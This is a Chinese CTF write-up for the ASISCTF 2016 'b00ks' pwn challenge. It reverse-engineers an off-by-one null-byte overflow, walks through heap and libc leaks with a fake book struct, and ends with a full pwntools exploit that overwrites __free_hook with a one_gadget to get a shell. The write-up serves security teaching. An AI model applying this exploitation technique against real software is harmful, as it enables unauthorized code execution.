CTF-All-In-One/doc/6.1.28_pwn_asisctf2016_b00ks.md
2018-08-05 17:43:10 +08:00

707 lines
32 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.28 pwn ASISCTF2016 b00ks
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.28_pwn_asisctf2016_b00ks)
## 题目复现
```text
$ file b00ks
b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
$ checksec -f b00ks
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 2 b00ks
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
```
64 位程序,开启了 FULL RELRO、NX 和 PIE。
在 Ubuntu 16.04 上玩一下:
```text
$ ./b00ks
Welcome to ASISCTF book library
Enter author name: AAAA
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 1
Enter book name size: 5
Enter book name (Max 32 chars): BBBBB
Enter book description size: 5
Enter book description: CCCCC
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 3
Enter the book id you want to edit: 1
Enter new book description: DDDDD
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 4
ID: 1
Name: BBBBB
Description: DDDDD
Author: AAAA
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 2
Enter the book id you want to delete: 1
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 5
Enter author name: EEEE
1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 6
Thanks to use our library software
```
程序让我们先输入一个 auther name然后进入菜单可以新建、删除、修改和打印一个 book还可以对 author name 进行修改。
## 题目解析
### Enter author name
```text
[0x000008e0]> pdf @ sub.Enter_author_name:_b6d
/ (fcn) sub.Enter_author_name:_b6d 80
| sub.Enter_author_name:_b6d ();
| ; CALL XREF from main (0x122f)
| ; CALL XREF from main (+0xe0)
| 0x00000b6d push rbp
| 0x00000b6e mov rbp, rsp
| 0x00000b71 lea rdi, str.Enter_author_name: ; 0x13fb ; "Enter author name: " ; const char *format
| 0x00000b78 mov eax, 0
| 0x00000b7d call sym.imp.printf ; int printf(const char *format)
| 0x00000b82 lea rax, [0x00202018] ; "@ "
| 0x00000b89 mov rax, qword [rax]
| 0x00000b8c mov esi, 0x20 ; "@" ; void *buf
| 0x00000b91 mov rdi, rax ; int fildes
| 0x00000b94 call sub.read_9f5 ; 调用 read_9f5([0x00202018], 0x20) 读入 author name
| 0x00000b99 test eax, eax
| ,=< 0x00000b9b je 0xbb6
| | 0x00000b9d lea rdi, str.fail_to_read_author_name ; 0x140f ; "fail to read author_name" ; const char *format
| | 0x00000ba4 mov eax, 0
| | 0x00000ba9 call sym.imp.printf ; int printf(const char *format)
| | 0x00000bae nop
| | 0x00000baf mov eax, 1
| ,==< 0x00000bb4 jmp 0xbbb
| || ; CODE XREF from sub.Enter_author_name:_b6d (0xb9b)
| |`-> 0x00000bb6 mov eax, 0
| | ; CODE XREF from sub.Enter_author_name:_b6d (0xbb4)
| `--> 0x00000bbb pop rbp
\ 0x00000bbc ret
[0x000008e0]> px 8 @ 0x00202018
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00202018 4020 2000 0000 0000 @ .....
```
程序首先调用函数 read_9f5() 读入 author name 到 `[0x00202018]`,即 `0x00202040`
函数 read_9f5() 如下:
```text
[0x000008e0]> pdf @ sub.read_9f5
/ (fcn) sub.read_9f5 130
| sub.read_9f5 (int arg1, signed int arg2);
| ; var signed int local_1ch @ rbp-0x1c
| ; var int local_18h @ rbp-0x18
| ; var int local_ch @ rbp-0xc
| ; var void *buf @ rbp-0x8
| ; CALL XREF from sub.Enter_author_name:_b6d (0xb94)
| ; CALL XREF from sub.Enter_the_book_id_you_want_to_edit:_e17 (0xf2b)
| ; CALL XREFS from sub.Enter_book_name_size:_f55 (0xff8, 0x10b2)
| 0x000009f5 push rbp
| 0x000009f6 mov rbp, rsp
| 0x000009f9 sub rsp, 0x20
| 0x000009fd mov qword [local_18h], rdi ; arg1
| 0x00000a01 mov dword [local_1ch], esi ; arg2
| 0x00000a04 cmp dword [local_1ch], 0
| ,=< 0x00000a08 jg 0xa11 ; arg2 大于 0 时继续
| | 0x00000a0a mov eax, 0
| ,==< 0x00000a0f jmp 0xa75 ; 否则退出
| |`-> 0x00000a11 mov rax, qword [local_18h] ; rax = [arg1] 取第一个参数
| | 0x00000a15 mov qword [buf], rax ; [buf] = rax = [arg1]
| | 0x00000a19 mov dword [local_ch], 0 ; 循环计数 i 初始为 0
| | ; CODE XREF from sub.read_9f5 (0xa67)
| |.-> 0x00000a20 mov rax, qword [buf] ; rax = [buf]
| |: 0x00000a24 mov edx, 1 ; size_t nbyte
| |: 0x00000a29 mov rsi, rax ; void *buf
| |: 0x00000a2c mov edi, 0 ; int fildes
| |: 0x00000a31 mov eax, 0
| |: 0x00000a36 call sym.imp.read ; 调用 read(0, [buf], 1) 读入一个字节
| |: 0x00000a3b cmp eax, 1
| ,===< 0x00000a3e je 0xa47
| ||: 0x00000a40 mov eax, 1
| ,====< 0x00000a45 jmp 0xa75
| |||: ; CODE XREF from sub.read_9f5 (0xa3e)
| |`---> 0x00000a47 mov rax, qword [buf] ; rax = [buf]
| | |: 0x00000a4b movzx eax, byte [rax] ; eax = [rax] 取出最后一个字节
| | |: 0x00000a4e cmp al, 0xa
| |,===< 0x00000a50 jne 0xa54 ; 该字节不为换行符 '\n'
| ,=====< 0x00000a52 jmp 0xa69
| ||||: ; CODE XREF from sub.read_9f5 (0xa50)
| ||`---> 0x00000a54 add qword [buf], 1 ; [buf] += 1
| || |: 0x00000a59 mov eax, dword [local_ch]
| || |: 0x00000a5c cmp eax, dword [local_1ch]
| ||,===< 0x00000a5f jne 0xa63 ; 循环计数 i 与 arg2 不相等时
| ,======< 0x00000a61 jmp 0xa69
| |||||: ; CODE XREF from sub.read_9f5 (0xa5f)
| |||`---> 0x00000a63 add dword [local_ch], 1 ; 循环计数 i 加 1
| ||| |`=< 0x00000a67 jmp 0xa20 ; 继续循环
| ||| | ; CODE XREFS from sub.read_9f5 (0xa52, 0xa61)
| ``-----> 0x00000a69 mov rax, qword [buf] ; rax = [buf]
| | | 0x00000a6d mov byte [rax], 0 ; [rax] = 0 将最后一个字节设置为 '0x00'
| | | 0x00000a70 mov eax, 0
| | | ; CODE XREFS from sub.read_9f5 (0xa0f, 0xa45)
| `-`--> 0x00000a75 leave
\ 0x00000a76 ret
```
该函数存在单字节溢出漏洞,例如在读入 author name 的时候arg2 为 0x20但却可以读入最多 0x21 个字节,读入完成后将最后一个字节设置为 `“\x00”`,即溢出了一个字节的 null byte。
### Create
```text
[0x000008e0]> pdf @ sub.Enter_book_name_size:_f55
/ (fcn) sub.Enter_book_name_size:_f55 634
| sub.Enter_book_name_size:_f55 ();
| ; var size_t size @ rbp-0x20
| ; var unsigned int local_1ch @ rbp-0x1c
| ; var void *local_18h @ rbp-0x18
| ; var void *fildes @ rbp-0x10
| ; var void *ptr @ rbp-0x8
| ; CALL XREF from main (+0xb0)
| 0x00000f55 push rbp
| 0x00000f56 mov rbp, rsp
| 0x00000f59 sub rsp, 0x20
| 0x00000f5d mov dword [size], 0
| 0x00000f64 lea rdi, str.Enter_book_name_size: ; 0x150f ; "\nEnter book name size: " ; const char *format
| 0x00000f6b mov eax, 0
| 0x00000f70 call sym.imp.printf ; int printf(const char *format)
| 0x00000f75 lea rax, [size]
| 0x00000f79 mov rsi, rax
| 0x00000f7c lea rdi, [0x000013f8] ; "%d" ; const char *format
| 0x00000f83 mov eax, 0
| 0x00000f88 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 name_size 到 [size]
| 0x00000f8d mov eax, dword [size]
| 0x00000f90 test eax, eax
| ,=< 0x00000f92 jns 0xfaa ; [size] 大于等于 0
| | 0x00000f94 lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format
| | 0x00000f9b mov eax, 0
| | 0x00000fa0 call sym.imp.printf ; int printf(const char *format)
| ,==< 0x00000fa5 jmp 0x118f
| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0xf92)
| |`-> 0x00000faa lea rdi, str.Enter_book_name__Max_32_chars_: ; 0x1538 ; "Enter book name (Max 32 chars): " ; const char *format
| | 0x00000fb1 mov eax, 0
| | 0x00000fb6 call sym.imp.printf ; int printf(const char *format)
| | 0x00000fbb mov eax, dword [size]
| | 0x00000fbe cdqe
| | 0x00000fc0 mov rdi, rax ; size_t size
| | 0x00000fc3 call sym.imp.malloc ; 调用 malloc([size]) 为 name 分配空间
| | 0x00000fc8 mov qword [fildes], rax ; 空间地址保存到 [fildes]
| | 0x00000fcc cmp qword [fildes], 0
| |,=< 0x00000fd1 jne 0xfe9
| || 0x00000fd3 lea rdi, str.unable_to_allocate_enough_space ; 0x1560 ; "unable to allocate enough space" ; const char *format
| || 0x00000fda mov eax, 0
| || 0x00000fdf call sym.imp.printf ; int printf(const char *format)
| ,===< 0x00000fe4 jmp 0x118f
| ||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0xfd1)
| ||`-> 0x00000fe9 mov eax, dword [size]
| || 0x00000fec lea edx, [rax - 1]
| || 0x00000fef mov rax, qword [fildes]
| || 0x00000ff3 mov esi, edx ; void *buf
| || 0x00000ff5 mov rdi, rax ; int fildes
| || 0x00000ff8 call sub.read_9f5 ; 调用 read_9f5([fildes], [size]-1) 读入 name
| || 0x00000ffd test eax, eax
| ||,=< 0x00000fff je 0x1017
| ||| 0x00001001 lea rdi, str.fail_to_read_name ; 0x1580 ; "fail to read name" ; const char *format
| ||| 0x00001008 mov eax, 0
| ||| 0x0000100d call sym.imp.printf ; int printf(const char *format)
| ,====< 0x00001012 jmp 0x118f
| |||`-> 0x00001017 mov dword [size], 0 ; 将 [size] 置 0
| ||| 0x0000101e lea rdi, str.Enter_book_description_size: ; 0x1598 ; "\nEnter book description size: " ; const char *format
| ||| 0x00001025 mov eax, 0
| ||| 0x0000102a call sym.imp.printf ; int printf(const char *format)
| ||| 0x0000102f lea rax, [size]
| ||| 0x00001033 mov rsi, rax
| ||| 0x00001036 lea rdi, [0x000013f8] ; "%d" ; const char *format
| ||| 0x0000103d mov eax, 0
| ||| 0x00001042 call sym.imp.__isoc99_scanf ; 调用 scanf() 读入 description_size 到 [size]
| ||| 0x00001047 mov eax, dword [size]
| ||| 0x0000104a test eax, eax
| |||,=< 0x0000104c jns 0x1064 ; [size] 大于等于 0
| |||| 0x0000104e lea rdi, str.Malformed_size ; 0x1527 ; "Malformed size" ; const char *format
| |||| 0x00001055 mov eax, 0
| |||| 0x0000105a call sym.imp.printf ; int printf(const char *format)
| ,=====< 0x0000105f jmp 0x118f
| ||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x104c)
| ||||`-> 0x00001064 mov eax, dword [size]
| |||| 0x00001067 cdqe
| |||| 0x00001069 mov rdi, rax ; size_t size
| |||| 0x0000106c call sym.imp.malloc ; 调用 malloc([size]) 为 description 分配空间
| |||| 0x00001071 mov qword [ptr], rax ; 空间地址保存到 [ptr]
| |||| 0x00001075 cmp qword [ptr], 0
| ||||,=< 0x0000107a jne 0x1092
| ||||| 0x0000107c lea rdi, str.Fail_to_allocate_memory ; 0x15b7 ; "Fail to allocate memory" ; const char *format
| ||||| 0x00001083 mov eax, 0
| ||||| 0x00001088 call sym.imp.printf ; int printf(const char *format)
| ,======< 0x0000108d jmp 0x118f
| |||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x107a)
| |||||`-> 0x00001092 lea rdi, str.Enter_book_description: ; 0x15cf ; "Enter book description: " ; const char *format
| ||||| 0x00001099 mov eax, 0
| ||||| 0x0000109e call sym.imp.printf ; int printf(const char *format)
| ||||| 0x000010a3 mov eax, dword [size]
| ||||| 0x000010a6 lea edx, [rax - 1]
| ||||| 0x000010a9 mov rax, qword [ptr]
| ||||| 0x000010ad mov esi, edx ; void *buf
| ||||| 0x000010af mov rdi, rax ; int fildes
| ||||| 0x000010b2 call sub.read_9f5 ; 调用 read_9f5([ptr], [size] -1) 读入 description
| ||||| 0x000010b7 test eax, eax
| |||||,=< 0x000010b9 je 0x10d1
| |||||| 0x000010bb lea rdi, str.Unable_to_read_description ; 0x15e8 ; "Unable to read description" ; const char *format
| |||||| 0x000010c2 mov eax, 0
| |||||| 0x000010c7 call sym.imp.printf ; int printf(const char *format)
| ,=======< 0x000010cc jmp 0x118f
| ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10b9)
| ||||||`-> 0x000010d1 mov eax, 0
| |||||| 0x000010d6 call fcn.00000b24 ; 判断 book_num 是否达到上限 20
| |||||| 0x000010db mov dword [local_1ch], eax ; 返回值 eax 为该 book 在 books 里的序号
| |||||| 0x000010de cmp dword [local_1ch], 0xffffffffffffffff
| ||||||,=< 0x000010e2 jne 0x10fa
| ||||||| 0x000010e4 lea rdi, str.Library_is_full ; 0x1603 ; "Library is full" ; const char *format
| ||||||| 0x000010eb mov eax, 0
| ||||||| 0x000010f0 call sym.imp.printf ; int printf(const char *format)
| ========< 0x000010f5 jmp 0x118f
| ||||||| ; CODE XREF from sub.Enter_book_name_size:_f55 (0x10e2)
| ||||||`-> 0x000010fa mov edi, 0x20 ; "@" ; size_t size
| |||||| 0x000010ff call sym.imp.malloc ; 调用 malloc(0x20) 为 book 结构体分配空间
| |||||| 0x00001104 mov qword [local_18h], rax ; 空间地址保存到 [local_18h]
| |||||| 0x00001108 cmp qword [local_18h], 0
| ||||||,=< 0x0000110d jne 0x1122
| ||||||| 0x0000110f lea rdi, str.Unable_to_allocate_book_struct ; 0x1618 ; "Unable to allocate book struct" ; const char *format
| ||||||| 0x00001116 mov eax, 0
| ||||||| 0x0000111b call sym.imp.printf ; int printf(const char *format)
| ========< 0x00001120 jmp 0x118f
| ||||||`-> 0x00001122 mov eax, dword [size] ; 取出 description_size
| |||||| 0x00001125 mov edx, eax
| |||||| 0x00001127 mov rax, qword [local_18h] ; 取出 book 结构体
| |||||| 0x0000112b mov dword [rax + 0x18], edx ; book->description_size = [size]
| |||||| 0x0000112e lea rax, [0x00202010] ; rax = 0x00202010
| |||||| 0x00001135 mov rax, qword [rax] ; rax = 0x00202060 取出 books 数组地址
| |||||| 0x00001138 mov edx, dword [local_1ch]
| |||||| 0x0000113b movsxd rdx, edx
| |||||| 0x0000113e shl rdx, 3
| |||||| 0x00001142 add rdx, rax ; rdx 为 books 数组中该 book 的地址
| |||||| 0x00001145 mov rax, qword [local_18h]
| |||||| 0x00001149 mov qword [rdx], rax ; books[rdx] = book 将 book 地址放入 books 数组
| |||||| 0x0000114c mov rax, qword [local_18h]
| |||||| 0x00001150 mov rdx, qword [ptr]
| |||||| 0x00001154 mov qword [rax + 0x10], rdx ; book->description = [ptr]
| |||||| 0x00001158 mov rax, qword [local_18h]
| |||||| 0x0000115c mov rdx, qword [fildes]
| |||||| 0x00001160 mov qword [rax + 8], rdx ; book->name = [fildes]
| |||||| 0x00001164 lea rax, [0x00202024]
| |||||| 0x0000116b mov eax, dword [rax] ; 取出 book_num
| |||||| 0x0000116d lea edx, [rax + 1] ; edx = book_num + 1
| |||||| 0x00001170 lea rax, [0x00202024]
| |||||| 0x00001177 mov dword [rax], edx ; 放回新的 book_num
| |||||| 0x00001179 lea rax, [0x00202024]
| |||||| 0x00001180 mov edx, dword [rax]
| |||||| 0x00001182 mov rax, qword [local_18h]
| |||||| 0x00001186 mov dword [rax], edx ; book->id = book_num
| |||||| 0x00001188 mov eax, 0
| ||||||,=< 0x0000118d jmp 0x11cd
| ||||||| ; XREFS: CODE 0x00000fa5 CODE 0x00000fe4 CODE 0x00001012 CODE 0x0000105f CODE 0x0000108d CODE 0x000010cc
| ||||||| ; XREFS: CODE 0x000010f5 CODE 0x00001120
| ``````--> 0x0000118f cmp qword [fildes], 0 ; 释放掉一些指针
| ,==< 0x00001194 je 0x11a2
| || 0x00001196 mov rax, qword [fildes]
| || 0x0000119a mov rdi, rax ; void *ptr
| || 0x0000119d call sym.imp.free ; free([fildes])
| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x1194)
| `--> 0x000011a2 cmp qword [ptr], 0
| ,==< 0x000011a7 je 0x11b5
| || 0x000011a9 mov rax, qword [ptr]
| || 0x000011ad mov rdi, rax ; void *ptr
| || 0x000011b0 call sym.imp.free ; free([ptr])
| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11a7)
| `--> 0x000011b5 cmp qword [local_18h], 0
| ,==< 0x000011ba je 0x11c8
| || 0x000011bc mov rax, qword [local_18h]
| || 0x000011c0 mov rdi, rax ; void *ptr
| || 0x000011c3 call sym.imp.free ; free([local_18h])
| || ; CODE XREF from sub.Enter_book_name_size:_f55 (0x11ba)
| `--> 0x000011c8 mov eax, 1
| | ; CODE XREF from sub.Enter_book_name_size:_f55 (0x118d)
| `-> 0x000011cd leave
\ 0x000011ce ret
[0x000008e0]> px 8 @ 0x00202010
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00202010 6020 2000 0000 0000 ` .....
```
Create 过程是首先在堆上为 name 分配空间,然后为 description 分配空间,最后为 book 结构体分配空间。其中 name 和 description 的大小是由输入控制的book 结构体则固定为 0x20 字节。
通过分析可以得到下面的数据结构:
```c
struct book {
int id;
char *name;
char *description;
char description_size;
} book;
struct book *books[20];
```
其中 books 数组的起始地址为 `0x00202060`
## 漏洞利用
现在我们已经知道漏洞点是在读入 author name 的时候存在一个 off-by-one 漏洞。另外由于 author name 和 books 之间距离正好为 `0x00202060 - 0x00202040 = 0x20`,并且 books 是在 author name 之后创建,所以如果 author name 恰好为 0x20 个字节,那么在 Print 的时候存在信息泄露。接下来如果对 author name 进行修改,且仍然为 0x20 字节,则溢出的一个空字节将覆盖掉 books[0] 的低位字节。
思路如下:
1. 创建两个 book其中要使第二个 book 的 name 和 description 通过 mmap 分配(请求一块很大的空间),这是因为 mmap 分配的空间与 libc 基址存在固定关系,后续将通过泄露这些地址得到 libc 基址。
2. 通过 Print利用信息泄露漏洞得到 book1 在 heap 上的地址,从而计算得到 book2 的地址。
3. 通过 Edit 在 book1->description 中创建一个 fake book其 fake->description 指向 book2->name。
4. 通过 Change author name 造成空字节溢出,使 books[0] 指向伪造的 fake book。
5. 再次通过 Print 即可打印出 book2->name这是一个通过 mmap 得到的指针,于是计算出 libc 基址。
6. 先 Edit 操作 fake book将 book2->description 修改为 __free_hook 的地址,然后 Edit 操作 book2即可将 __free_hook 修改为 one_gadget。
7. 此时 Delete book2即可执行 one_gadget 获得 shell。
### leak_heap
```python
def leak_heap():
global book2_addr
io.sendlineafter("name: ", "A" * 0x20)
Create(0xd0, "AAAA", 0x20, "AAAA") # book1
Create(0x21000, "AAAA", 0x21000, "AAAA") # book2
Print()
io.recvuntil("A"*0x20)
book1_addr = u64(io.recvn(6).ljust(8, "\x00"))
book2_addr = book1_addr + 0x30
log.info("book2 address: 0x%x" % book2_addr)
```
创建两个 book此时内存布局如下
```text
gdb-peda$ x/8gx 0x555555756040
0x555555756040: 0x4141414141414141 0x4141414141414141 <-- author name
0x555555756050: 0x4141414141414141 0x4141414141414141
0x555555756060: 0x0000555555758130 0x0000555555758160 <-- books
0x555555756070: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/50gx 0x0000555555758020-0x10
0x555555758010: 0x0000000000000000 0x00000000000000e1 <-- book1->name
0x555555758020: 0x0000000041414141 0x0000000000000000
0x555555758030: 0x0000000000000000 0x0000000000000000
0x555555758040: 0x0000000000000000 0x0000000000000000
0x555555758050: 0x0000000000000000 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000000
0x555555758070: 0x0000000000000000 0x0000000000000000
0x555555758080: 0x0000000000000000 0x0000000000000000
0x555555758090: 0x0000000000000000 0x0000000000000000
0x5555557580a0: 0x0000000000000000 0x0000000000000000
0x5555557580b0: 0x0000000000000000 0x0000000000000000
0x5555557580c0: 0x0000000000000000 0x0000000000000000
0x5555557580d0: 0x0000000000000000 0x0000000000000000
0x5555557580e0: 0x0000000000000000 0x0000000000000000
0x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- book1->description
0x555555758100: 0x0000000041414141 0x0000000000000000
0x555555758110: 0x0000000000000000 0x0000000000000000
0x555555758120: 0x0000000000000000 0x0000000000000031 <-- book1
0x555555758130: 0x0000000000000001 0x0000555555758020
0x555555758140: 0x0000555555758100 0x0000000000000020
0x555555758150: 0x0000000000000000 0x0000000000000031 <-- book2
0x555555758160: 0x0000000000000002 0x00007ffff7fd2010
0x555555758170: 0x00007ffff7fb0010 0x0000000000021000
0x555555758180: 0x0000000000000000 0x0000000000020e81
0x555555758190: 0x0000000000000000 0x0000000000000000
```
可以看到 book2 通过 mmap 分配的两个指针并不是指向 heap而是与 libc 有某种固定关系:
```text
gdb-peda$ vmmap libc
Start End Perm Name
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /home/firmy/b00ks/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /home/firmy/b00ks/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /home/firmy/b00ks/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /home/firmy/b00ks/libc-2.23.so
gdb-peda$ vmmap mapped
Start End Perm Name
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7fb0000 0x00007ffff7ff7000 rw-p mapped
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
gdb-peda$ vmmap heap
Start End Perm Name
0x0000555555757000 0x0000555555779000 rw-p [heap]
```
### leak_libc
```python
def leak_libc():
global libc_base
fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
Edit(1, fake_book)
Change("A" * 0x20)
Print()
io.recvuntil("Name: ")
leak_addr = u64(io.recvn(6).ljust(8, "\x00"))
libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base
log.info("libc address: 0x%x" % libc_base)
```
```text
gdb-peda$ x/8gx 0x555555756040
0x555555756040: 0x4141414141414141 0x4141414141414141
0x555555756050: 0x4141414141414141 0x4141414141414141
0x555555756060: 0x0000555555758100 0x0000555555758160 <-- books[0]
0x555555756070: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/50gx 0x0000555555758020-0x10
0x555555758010: 0x0000000000000000 0x00000000000000e1
0x555555758020: 0x0000000041414141 0x0000000000000000
0x555555758030: 0x0000000000000000 0x0000000000000000
0x555555758040: 0x0000000000000000 0x0000000000000000
0x555555758050: 0x0000000000000000 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000000
0x555555758070: 0x0000000000000000 0x0000000000000000
0x555555758080: 0x0000000000000000 0x0000000000000000
0x555555758090: 0x0000000000000000 0x0000000000000000
0x5555557580a0: 0x0000000000000000 0x0000000000000000
0x5555557580b0: 0x0000000000000000 0x0000000000000000
0x5555557580c0: 0x0000000000000000 0x0000000000000000
0x5555557580d0: 0x0000000000000000 0x0000000000000000
0x5555557580e0: 0x0000000000000000 0x0000000000000000
0x5555557580f0: 0x0000000000000000 0x0000000000000031 <-- fake book
0x555555758100: 0x0000000000000001 0x0000555555758168
0x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description
0x555555758120: 0x0000000000000000 0x0000000000000031 <-- book1
0x555555758130: 0x0000000000000001 0x0000555555758020
0x555555758140: 0x0000555555758100 0x0000000000000020
0x555555758150: 0x0000000000000000 0x0000000000000031 <-- book2
0x555555758160: 0x0000000000000002 0x00007ffff7fd2010 <-- book2->name
0x555555758170: 0x00007ffff7fb0010 0x0000000000021000
0x555555758180: 0x0000000000000000 0x0000000000020e81
0x555555758190: 0x0000000000000000 0x0000000000000000
```
接下来先是伪造 fake book然后通过空字节溢出修改了 books[0] 的低位字节,此时它指向了 fake book。而 fake->description 指向了 book2->name。
通过 Print 即可打印出 book2->name进而计算出 libc 基址。
### overwrite
```python
def overwrite():
free_hook = libc.symbols['__free_hook'] + libc_base
one_gadget = libc_base + 0x4526a
fake_book = p64(free_hook) * 2
Edit(1, fake_book)
fake_book = p64(one_gadget)
Edit(2, fake_book)
```
依次修改 fake book 和 book2最终将 __free_hook 修改为 one_gadget
```text
gdb-peda$ x/50gx 0x0000555555758020-0x10
0x555555758010: 0x0000000000000000 0x00000000000000e1
0x555555758020: 0x0000000041414141 0x0000000000000000
0x555555758030: 0x0000000000000000 0x0000000000000000
0x555555758040: 0x0000000000000000 0x0000000000000000
0x555555758050: 0x0000000000000000 0x0000000000000000
0x555555758060: 0x0000000000000000 0x0000000000000000
0x555555758070: 0x0000000000000000 0x0000000000000000
0x555555758080: 0x0000000000000000 0x0000000000000000
0x555555758090: 0x0000000000000000 0x0000000000000000
0x5555557580a0: 0x0000000000000000 0x0000000000000000
0x5555557580b0: 0x0000000000000000 0x0000000000000000
0x5555557580c0: 0x0000000000000000 0x0000000000000000
0x5555557580d0: 0x0000000000000000 0x0000000000000000
0x5555557580e0: 0x0000000000000000 0x0000000000000000
0x5555557580f0: 0x0000000000000000 0x0000000000000031
0x555555758100: 0x0000000000000001 0x0000555555758168
0x555555758110: 0x0000555555758168 0x0000000000000020 <-- fake->description
0x555555758120: 0x0000000000000000 0x0000000000000031
0x555555758130: 0x0000000000000001 0x0000555555758020
0x555555758140: 0x0000555555758100 0x0000000000000020
0x555555758150: 0x0000000000000000 0x0000000000000031
0x555555758160: 0x0000000000000002 0x00007ffff7dd37a8
0x555555758170: 0x00007ffff7dd37a8 0x0000000000021000 <-- book2->description
0x555555758180: 0x0000000000000000 0x0000000000020e81
0x555555758190: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dd37a8
0x7ffff7dd37a8 <__free_hook>: 0x00007ffff7a5226a
gdb-peda$ pdisass 0x00007ffff7a5226a /7
0x7ffff7a5226a: mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8
0x7ffff7a52271: lea rdi,[rip+0x147adf] # 0x7ffff7b99d57
0x7ffff7a52278: lea rsi,[rsp+0x30]
0x7ffff7a5227d: mov DWORD PTR [rip+0x381219],0x0 # 0x7ffff7dd34a0
0x7ffff7a52287: mov DWORD PTR [rip+0x381213],0x0 # 0x7ffff7dd34a4
0x7ffff7a52291: mov rdx,QWORD PTR [rax]
0x7ffff7a52294: call 0x7ffff7ad9770 <execve>
```
### pwn
```python
def pwn():
Delete(2)
io.interactive()
```
最后 Delete book2获得 shell。
开启 ASLRBingo!!!
```text
$ python exp.py
[+] Starting local process './b00ks': pid 4879
[*] book2 address: 0x562341a04160
[*] libc address: 0x7f87e9425000
[*] Switching to interactive mode
$ whoami
firmy
```
### exploit
完整的 exp 如下:
```python
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./b00ks'], env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF('libc-2.23.so')
def Create(nsize, name, dsize, desc):
io.sendlineafter("> ", '1')
io.sendlineafter("name size: ", str(nsize))
io.sendlineafter("name (Max 32 chars): ", name)
io.sendlineafter("description size: ", str(dsize))
io.sendlineafter("description: ", desc)
def Delete(idx):
io.sendlineafter("> ", '2')
io.sendlineafter("delete: ", str(idx))
def Edit(idx, desc):
io.sendlineafter("> ", '3')
io.sendlineafter("edit: ", str(idx))
io.sendlineafter("description: ", desc)
def Print():
io.sendlineafter("> ", '4')
def Change(name):
io.sendlineafter("> ", '5')
io.sendlineafter("name: ", name)
def leak_heap():
global book2_addr
io.sendlineafter("name: ", "A" * 0x20)
Create(0xd0, "AAAA", 0x20, "AAAA") # book1
Create(0x21000, "AAAA", 0x21000, "AAAA") # book2
Print()
io.recvuntil("A"*0x20)
book1_addr = u64(io.recvn(6).ljust(8, "\x00"))
book2_addr = book1_addr + 0x30
log.info("book2 address: 0x%x" % book2_addr)
def leak_libc():
global libc_base
fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
Edit(1, fake_book)
Change("A" * 0x20)
Print()
io.recvuntil("Name: ")
leak_addr = u64(io.recvn(6).ljust(8, "\x00"))
libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base
log.info("libc address: 0x%x" % libc_base)
def overwrite():
free_hook = libc.symbols['__free_hook'] + libc_base
one_gadget = libc_base + 0x4526a
fake_book = p64(free_hook) * 2
Edit(1, fake_book)
fake_book = p64(one_gadget)
Edit(2, fake_book)
def pwn():
Delete(2)
io.interactive()
if __name__ == "__main__":
leak_heap()
leak_libc()
overwrite()
pwn()
```
## 参考资料
- <https://ctftime.org/task/2492>